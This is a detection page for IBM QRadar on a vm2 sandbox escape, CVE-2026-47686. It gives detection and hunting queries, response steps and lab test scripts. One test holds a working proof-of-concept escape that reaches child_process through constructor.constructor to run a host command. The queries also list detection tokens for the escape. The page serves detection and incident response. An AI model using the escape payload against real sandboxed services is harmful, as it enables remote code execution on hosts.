Detect VM2 Sandbox Escape via Missing Error.cause Sanitization (CVE-2026-47686) in IBM QRadar
Detects exploitation and presence of CVE-2026-47686, a critical (CVSS 9.9) sandbox escape in the vm2 npm library (versions <= 3.11.5). The vm2 sandbox fails to sanitize the Error.cause property, allowing attacker-controlled code executing inside the sandbox to walk the prototype chain of the host-provided cause object and reach host primitives (constructor.constructor), yielding arbitrary code execution on the host Node.js process. Because vm2 is frequently used to evaluate untrusted user-supplied JavaScript (serverless functions, template engines, online code runners), a successful escape results in full RCE with the privileges of the Node.js service. This detection surfaces both vulnerable-version presence (via package inventory / installed vm2 metadata) and runtime exploitation behavior (Node.js processes spawning shells, unexpected child process creation, network egress originating from a vm2-hosting service).
MITRE ATT&CK
- Tactic
- Execution Privilege Escalation
QRadar Detection Query
SELECT QIDNAME(qid) AS EventName, "Process Name" AS ChildProcess, "Parent Process Name" AS ParentProcess, "Process CommandLine" AS CommandLine, "Parent Process CommandLine" AS ParentCommandLine, sourceip, username, DATEFORMAT(devicetime,'YYYY-MM-dd HH:mm:ss') AS EventTime
FROM events
WHERE LOWER("Parent Process Name") LIKE '%node%'
AND (LOWER("Process Name") LIKE '%cmd.exe' OR LOWER("Process Name") LIKE '%powershell.exe' OR LOWER("Process Name") LIKE '%/sh' OR LOWER("Process Name") LIKE '%/bash')
AND (LOWER("Process CommandLine") LIKE '%constructor.constructor%' OR LOWER("Process CommandLine") LIKE '%child_process%' OR LOWER("Parent Process CommandLine") LIKE '%error.cause%' OR LOWER("Parent Process CommandLine") LIKE '%cause.constructor%')
AND devicetime > NOW() - 24 HOURS
ORDER BY devicetime DESC QRadar AQL query correlating process-creation events where a Node.js parent spawns a shell and vm2 escape tokens are present in either command line.
Data Sources
Required Tables
False Positives & Tuning
- Node build tooling spawning shells
- Legitimate function runtimes shelling out
- CI agent node orchestration
Other platforms for CVE-2026-47686
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1vm2 Error.cause sandbox escape proof-of-concept (lab)
Expected signal: A node process spawns /bin/sh -> id; auditd/Sysmon process-creation event shows node as parent of a shell running 'id'.
- Test 2Node.js spawns reverse-shell after simulated escape (lab)
Expected signal: node process with parent command line containing 'constructor.constructor' spawns /bin/sh; process-creation and follow-on file-write events recorded.
- Test 3Vulnerable vm2 version presence check (lab)
Expected signal: npm install writes node_modules/vm2/package.json with version 3.11.5; package inventory / software-inventory telemetry records vm2 3.11.5.
Response Playbook
Triage
- Confirm the affected host runs a Node.js service that embeds vm2. Inspect the service's package-lock.json / node_modules/vm2/package.json to determine the installed vm2 version; any version <= 3.11.5 is vulnerable to CVE-2026-47686.
- Retrieve the full parent (node) and child (shell) command lines from the alert and determine whether the shell invocation was expected. Look specifically for prototype-walk tokens: constructor.constructor, Error.cause, cause.constructor, process.binding.
- Correlate the timestamp with inbound requests to the vm2-hosting endpoint (code-runner, template render, webhook evaluator) to identify the untrusted JavaScript payload that triggered the escape.
- Determine the privilege level of the Node.js process (service account, root, container UID) to scope the blast radius of the RCE.
Containment
- Isolate the affected host from the network to prevent lateral movement and data exfiltration from the compromised Node.js process.
- Disable or take offline the endpoint that evaluates untrusted JavaScript in vm2 until the library is upgraded to 3.11.6 or the input source is trusted.
- Rotate any secrets, API keys, or credentials accessible to the Node.js service account, as an attacker with host RCE could have exfiltrated them.
Evidence Collection
- Capture the full process tree (node -> shell -> any grandchild processes) with command lines, PIDs, and timestamps from EDR.
- Preserve the application/access logs containing the untrusted JavaScript payload submitted to the vm2 sandbox, plus network connection logs for the process.
- Snapshot the host or container filesystem and memory to capture any dropped tooling, staged payloads, or in-memory implants before remediation.
Escalation Criteria
- !Escalate to incident response if the Node.js process spawned outbound network connections, additional child processes, or dropped files after the shell was created — indicating post-exploitation activity.
- !Escalate if the vm2 host process runs as root/privileged or has access to sensitive credentials, database connections, or cloud metadata endpoints.
- !Escalate if multiple hosts show the same node->shell escape pattern, indicating automated or worming exploitation.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
node_modules/vm2/package.json showing version <= 3.11.5 - >
Application request/access logs containing the malicious JavaScript payload with Error.cause manipulation - >
EDR process-creation records for the node -> shell child process chain - >
Any files dropped in temp directories or the service working directory following the escape
Tuning Guidance
Establish an allowlist of Node.js services that legitimately spawn child processes (build agents, task runners, node-gyp) and exclude them by host or process path to reduce noise. Focus alerting on hosts running services that evaluate untrusted user JavaScript. If command-line escape tokens produce false positives from application code containing the string 'child_process', tighten the correlation to require both a Node.js parent AND a shell child AND a prototype-walk token in the same event window. Pair this behavioral detection with a package-inventory sweep for vm2 <= 3.11.5 to catch vulnerable hosts before exploitation.
Hunting Queries
Baseline all shells spawned by Node.js processes across the fleet to surface anomalous vm2 hosts and identify which services legitimately shell out versus those showing an unexpected escape.
DeviceProcessEvents | where InitiatingProcessFileName in~ ("node.exe","node") | where FileName in~ ("cmd.exe","powershell.exe","sh","bash") | summarize count() by DeviceName, ProcessCommandLine, InitiatingProcessCommandLine | order by count_ desc index=* (sourcetype="WinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1) OR sourcetype=linux:audit | search parent_process_name=*node* (process_name=*cmd.exe OR process_name=*powershell.exe OR process_name=*/sh OR process_name=*/bash) | stats count by host parent_process_name process_name CommandLine Atomic Red Team Tests
Runs a minimal Node.js script that uses the vm2 <= 3.11.5 Error.cause escape to execute a benign host command, demonstrating the RCE primitive in an isolated lab.
Command
cat > /tmp/vm2poc.js <<'EOF'
const { VM } = require('vm2');
const vm = new VM();
const payload = `
const e = new Error('x');
try {
e.cause = {};
const host = e.constructor.constructor('return process')();
host.mainModule.require('child_process').execSync('id > /tmp/vm2_escape_proof.txt');
} catch (err) { err.toString(); }
`;
try { vm.run(payload); } catch (e) {}
EOF
node /tmp/vm2poc.js; cat /tmp/vm2_escape_proof.txt Cleanup
rm -f /tmp/vm2poc.js /tmp/vm2_escape_proof.txt Expected Telemetry
A node process spawns /bin/sh -> id; auditd/Sysmon process-creation event shows node as parent of a shell running 'id'.
Expected Detection
The KQL/SPL/EQL rules fire on the node->shell chain; command-line contains constructor.constructor / child_process tokens.
Simulates post-escape behavior where the compromised Node.js host spawns a shell that initiates an outbound connection, mirroring attacker RCE follow-on activity.
Command
node -e "require('child_process').spawn('/bin/sh',['-c','echo constructor.constructor; sleep 1; /bin/sh -c \"echo simulated-c2 > /tmp/vm2_c2.txt\"'],{stdio:'inherit'})" Cleanup
rm -f /tmp/vm2_c2.txt Expected Telemetry
node process with parent command line containing 'constructor.constructor' spawns /bin/sh; process-creation and follow-on file-write events recorded.
Expected Detection
Behavioral node->shell detection matches on the parent command-line escape token and the shell child process.
Installs the vulnerable vm2 3.11.5 package and confirms the version present on disk, exercising the vulnerable-version inventory portion of the detection.
Command
mkdir -p /tmp/vm2test && cd /tmp/vm2test && npm init -y >/dev/null 2>&1 && npm install [email protected] >/dev/null 2>&1 && node -e "console.log('vm2 version:', require('/tmp/vm2test/node_modules/vm2/package.json').version)" Cleanup
rm -rf /tmp/vm2test Expected Telemetry
npm install writes node_modules/vm2/package.json with version 3.11.5; package inventory / software-inventory telemetry records vm2 3.11.5.
Expected Detection
Software inventory / vulnerability-management correlation flags vm2 <= 3.11.5 as CVE-2026-47686 vulnerable.